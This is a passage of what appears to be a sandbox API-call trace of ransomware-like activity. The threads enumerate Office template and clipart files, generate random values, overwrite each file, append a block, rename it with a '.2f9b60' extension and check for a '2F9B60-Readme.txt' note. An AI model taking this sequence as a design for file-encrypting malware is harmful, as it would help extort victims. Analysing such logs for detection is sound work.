_Format="%c%c" | out: _Dest="6a") returned 2 [0208.553] sprintf (in: _Dest=0x1ce5e392, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.553] sprintf (in: _Dest=0x1ce5e394, _Format="%c%c" | out: _Dest="65") returned 2 [0208.553] sprintf (in: _Dest=0x1ce5e396, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.553] sprintf (in: _Dest=0x1ce5e398, _Format="%c%c" | out: _Dest="82") returned 2 [0208.553] sprintf (in: _Dest=0x1ce5e39a, _Format="%c%c" | out: _Dest="26") returned 2 [0208.553] RtlInitAnsiString (in: DestinationString=0x223cf8e8, SourceString="6e1ede7ae8ef232e1c0f2df695f417606a4e652f8226" | out: DestinationString="6e1ede7ae8ef232e1c0f2df695f417606a4e652f8226") [0208.553] RtlAnsiStringToUnicodeString (in: DestinationString=0x223cf8b8, SourceString="6e1ede7ae8ef232e1c0f2df695f417606a4e652f8226", AllocateDestinationString=1 | out: DestinationString="6e1ede7ae8ef232e1c0f2df695f417606a4e652f8226") returned 0x0 [0208.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319f130 [0208.553] wcscat (in: _Dest=0x43183440, _Source="6e1ede7ae8e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\6e1ede7ae8e") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\6e1ede7ae8e" [0208.553] wcscat (in: _Dest=0x43183440, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\6e1ede7ae8e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\6e1ede7ae8e.2f9b60" [0208.553] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\6e1ede7ae8e.2f9b60", NtPathName=0x223cf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\6e1ede7ae8e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107600 [0237.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107600) returned 1 [0237.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a6d20) returned 1 [0237.897] NtQueryInformationFile (in: FileHandle=0x14ac, IoStatusBlock=0x223cf8f8, FileInformation=0x223cf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x223cf8f8, FileInformation=0x223cf908) returned 0x0 [0237.897] NtSetInformationFile (FileHandle=0x14ac, IoStatusBlock=0x223cf8f8, FileInformation=0x223cf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43183440) returned 1 [0240.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319f130) returned 1 [0240.165] FlushFileBuffers (hFile=0x14ac) returned 1 [0240.173] CloseHandle (hObject=0x14ac) returned 1 [0242.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431976c0 [0242.517] wcscpy (in: _Dest=0x431976c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.517] wcscat (in: _Dest=0x431976c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431976c0) returned 1 [0243.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b5b0) returned 1 Thread: id = 1633 os_tid = 0x1b08 [0125.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85d2f0 [0125.611] wcscpy (in: _Dest=0x1b85d2f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" [0125.611] wcscat (in: _Dest=0x1b85d2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\" [0125.611] wcscat (in: _Dest=0x1b85d2f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*" [0125.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd996c0 [0125.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cb50 [0125.612] wcscmp (_String1=".", _String2=".") returned 0 [0125.612] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.612] wcscmp (_String1="..", _String2=".") returned 1 [0125.612] wcscmp (_String1="..", _String2="..") returned 0 [0125.612] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1 [0125.612] wcscmp (_String1="107.accdt", _String2=".") returned 1 [0125.612] wcscmp (_String1="107.accdt", _String2="..") returned 1 [0125.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027baf0 [0125.612] wcscpy (in: _Dest=0x2027baf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" [0125.612] wcscat (in: _Dest=0x2027baf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\" [0125.612] wcscat (in: _Dest=0x2027baf0, _Source="107.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" [0152.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027baf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708 [0152.435] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="1100~1.ACC")) returned 1 [0152.435] wcscmp (_String1="1100.accdt", _String2=".") returned 1 [0152.435] wcscmp (_String1="1100.accdt", _String2="..") returned 1 [0152.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cd30 [0152.435] wcscpy (in: _Dest=0x4205cd30, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" [0152.435] wcscat (in: _Dest=0x4205cd30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\" [0152.435] wcscat (in: _Dest=0x4205cd30, _Source="1100.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" [0152.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278 [0152.436] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="1100~1.ACC")) returned 0 [0152.436] FindClose (in: hFindFile=0x1cd9cb50 | out: hFindFile=0x1cd9cb50) returned 1 [0152.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd996c0) returned 1 [0152.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d2f0) returned 1 [0152.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 Thread: id = 1634 os_tid = 0x1b0c [0125.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0125.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF", dwFileAttributes=0x20) returned 1 [0125.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.630] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2326fa40 | out: lpFileSize=0x2326fa40*=10538) returned 1 [0125.630] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x2926, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.630] ReadFile (in: hFile=0x1020, lpBuffer=0x2326f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2326fa08, lpOverlapped=0x0 | out: lpBuffer=0x2326f9c0*, lpNumberOfBytesRead=0x2326fa08*=0x4, lpOverlapped=0x0) returned 1 [0125.641] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0125.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6380 [0125.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0125.642] NtQuerySystemTime (in: CurrentTime=0x2326f900 | out: CurrentTime=0x2326f900*=132462177310006000) returned 0x0 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x53255ce5 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x3610765 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x2bd2760f [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x3ac72660 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x5e6eb43f [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x52d23673 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x22bc164d [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x381e0126 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x7bbb1b89 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x4cd81010 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x7bfcb291 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x6174c3fc [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x2109f409 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x14fe9f59 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x325d4a41 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x7363fde3 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x5740a619 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x65f71a43 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x3e2d4e00 [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x71c6b61c [0125.642] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x3383e494 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x3e04928c [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x5b9012ee [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x5f978a2 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x63e58ba [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x3255a8b8 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x39204591 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x7af4fa51 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x75e6cf00 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x6bdafac3 [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0xf9dc2af [0125.643] RtlRandomEx (in: Seed=0x2326f8f0 | out: Seed=0x2326f8f0) returned 0x1ec4e066 [0125.651] ReadFile (in: hFile=0x1020, lpBuffer=0x41b39560, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x2326f8f0, lpOverlapped=0x0 | out: lpBuffer=0x41b39560*, lpNumberOfBytesRead=0x2326f8f0*=0x292a, lpOverlapped=0x0) returned 1 [0125.664] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.664] WriteFile (in: hFile=0x1020, lpBuffer=0x41b2e130*, nNumberOfBytesToWrite=0x292a, lpNumberOfBytesWritten=0x2326f8f4, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesWritten=0x2326f8f4*=0x292a, lpOverlapped=0x0) returned 1 [0125.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0125.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0125.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6830) returned 1 [0125.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0125.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b39560) returned 1 [0125.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6830 [0125.668] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.668] WriteFile (in: hFile=0x1020, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2326fa10, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2326fa10*=0x10a, lpOverlapped=0x0) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0125.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504110 [0125.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0125.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6770) returned 1 [0125.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0125.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6950 [0125.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6950) returned 1 [0125.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0125.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0125.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.690] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="68") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="96") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="f4") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="94") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="2c") returned 2 [0125.690] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="01") returned 2 [0125.690] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="98") returned 2 [0125.690] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="a8") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="b3") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="f0") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="dd") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="38") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="84") returned 2 [0125.690] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="59") returned 2 [0125.690] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="7f") returned 2 [0125.690] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="ac") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="71") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="40") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="f2") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="fc") returned 2 [0125.690] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="f1") returned 2 [0125.690] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="83") returned 2 [0125.691] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="67") returned 2 [0125.691] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="c4") returned 2 [0125.691] RtlInitAnsiString (in: DestinationString=0x2326fa88, SourceString="6896f4942c0198a8b3f0dd3884597fac7140f2fcf18367c4" | out: DestinationString="6896f4942c0198a8b3f0dd3884597fac7140f2fcf18367c4") [0125.691] RtlAnsiStringToUnicodeString (in: DestinationString=0x2326fa58, SourceString="6896f4942c0198a8b3f0dd3884597fac7140f2fcf18367c4", AllocateDestinationString=1 | out: DestinationString="6896f4942c0198a8b3f0dd3884597fac7140f2fcf18367c4") returned 0x0 [0125.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0125.691] wcscat (in: _Dest=0x2027a0b0, _Source="6896f4942c01" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6896f4942c01") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6896f4942c01" [0125.691] wcscat (in: _Dest=0x2027a0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6896f4942c01.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6896f4942c01.2f9b60" [0125.691] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6896f4942c01.2f9b60", NtPathName=0x2326fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6896f4942c01.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.705] NtQueryInformationFile (in: FileHandle=0x1020, IoStatusBlock=0x2326fa98, FileInformation=0x2326faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2326fa98, FileInformation=0x2326faa8) returned 0x0 [0125.705] NtSetInformationFile (FileHandle=0x1020, IoStatusBlock=0x2326fa98, FileInformation=0x2326faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0125.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.712] FlushFileBuffers (hFile=0x1020) returned 1 [0125.714] CloseHandle (hObject=0x1020) returned 1 [0125.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a0b0 [0125.715] wcscpy (in: _Dest=0x2027a0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.715] wcscat (in: _Dest=0x2027a0b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0125.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ccc0) returned 1 Thread: id = 1635 os_tid = 0x1b10 [0125.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0125.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF", dwFileAttributes=0x20) returned 1 [0125.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdc0 [0125.639] GetFileSizeEx (in: hFile=0xdc0, lpFileSize=0x232ff840 | out: lpFileSize=0x232ff840*=4236) returned 1 [0125.639] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x1088, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.639] ReadFile (in: hFile=0xdc0, lpBuffer=0x232ff7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x232ff808, lpOverlapped=0x0 | out: lpBuffer=0x232ff7c0*, lpNumberOfBytesRead=0x232ff808*=0x4, lpOverlapped=0x0) returned 1 [0125.651] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0125.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0125.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0125.652] NtQuerySystemTime (in: CurrentTime=0x232ff700 | out: CurrentTime=0x232ff700*=132462177310162000) returned 0x0 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0xae79ee2 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0xec66e55 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x19c5c1e4 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 